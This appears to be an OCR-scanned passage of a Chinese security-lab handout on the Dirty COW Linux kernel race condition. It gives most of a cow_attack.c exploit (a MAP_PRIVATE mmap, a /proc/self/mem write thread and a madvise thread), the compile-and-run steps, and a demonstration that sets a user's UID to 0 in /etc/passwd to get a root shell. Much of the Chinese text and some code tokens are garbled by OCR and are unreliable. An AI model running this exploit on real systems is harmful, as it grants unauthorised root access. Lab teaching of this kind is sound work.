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sudo touch /zzz
sudo chmod 644 /zzz

sudo gedit /zzz

$
$
$
$ cat /zzz

111111222222333333

$ 1s -1 /zzz

-rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz

$ echo 99999 > /zzz

bash: /zzz: Permission denied
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Listing 1: F4£F%

/* cow_attack.c (F&KFE) */

#include <sys/mman.h>
#include <fcntl.h>

#include <pthread.h>
#include <sys/stat.h>

#include <string.h>
void *map;

int main(int argc, char *argv[])
{

pthread_t pthil,pth2;

struct stat st;

int file_size;

/] VN REAERITH B AR X .
int f=open("/zzz", 0_RDONLY);

// {# /] MAP_PRIVATE ¥ C{FB:4tE| COW K 7.
fstat(f, &st);
file_size = st.st_size;

map=mmap (NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
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/1 RE B AR E
char *position = strstr(map, "222222"); @

!l BMNFEFEAT D EBHTRE.
pthread_create(&pthl, NULL, madviseThread, (void *)file_size); @
pthread_create(&pth2, NULL, writeThread, position); ®

/] FREBRER,
pthread_join(pthi, NULL);
pthread_join(pth2, NULL);

return O;

TE PRI, RATFEE R "222222" (A E . TN — AR AL strstr O Sk F)
WL A 222222 NI E (28 © 17) . Ra, FOVBIWIANZ%HE: nadviseThread (55 @ f7) Al
writeThread (% @ 7).

2.3 V¥l write ZEf%

write ZAEAILSFRRF AT I FATH 12222220 Ty "eooerrx o (T HUR A2 COW R,
BUES AR A BEE W WA R AR A, TCIEXIRIZ /zzz SCPF AT AT

Listing 2: write Z&f%
/* cow_attack.c (5 AN%FE) */

void *writeThread(void *arg)

{

char *content= "*x¥**xx*x";

off _t offset = (off_t) arg;

int f=open("/proc/self/mem", O_RDWR);
while(1) {
/] X BEHBHENE.
lseek(f, offset, SEEK_SET);
/l AATEN.

write(f, content, strlen(content));

2.4 madvise ZEfE
madvise ZKFEMES HA A EFWGFNFHRARIA, 00 LF8 1m0 IR BLS NAT .

Listing 3: madvise £

/* cow_attack.c (\texttt{madvise} % FE) =*/
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void *madviseThread(void *arg)

{
int file_size = (int) arg;
while(1){
madvise (map, file_size, MADV_DONTNEED) ;
}
}

2.5 Rkl
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AR M T madvise O RGP . FATTCIEEIA R LIX — 51, HILHEZIAZ K.
HRERERARIAR, BATANLS . HL, fEdiid, FATETRIER Tz P26 .

i cow_attack.c HusfT LR, WIERMGE ), BV IXRERHR BICPUBUN /222 ST THTE
TR LR EMEER, R R T L HLX — R

$ gcc cow_attack.c -lpthread
$ a.out

.. press Ctrl-C after a few seconds ...
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$ sudo adduser charlie

$ cat /etc/passwd | grep charlie

WAy /etc/passwd SUPFRIRIAS, PART i AF T ECCPHIIR . 55— PP e 3 G5 i UL
PEATRRIE Ay, R MR R LR, T AR

1155 ETFHEB /etc/passwd LFH charlie BYICSR, A5 = AFELA 1001 FHCA 0000, MM
Ff charlie $£7F4 root I 7. SCHXT charlie ;@& Hty, HIRATHIDAFIH Dirty COW M Hit 47
HA. BRI DMEMAESS 1 HiY cow_attack. c FEJ7 R 5E X —HAw.

Yt is, WY P charlie, SN ZAETE shell FRFFALEE] # £75, XREL K
root shell, QIARIZEAT id 4, BMWIZEEHE B EE P15 root BUBR.

seed@ubuntu$ su charlie

Passwd:

root@ubuntu# id

uid=0(root) gid=1001(charlie) groups=0(root),1001(charlie)
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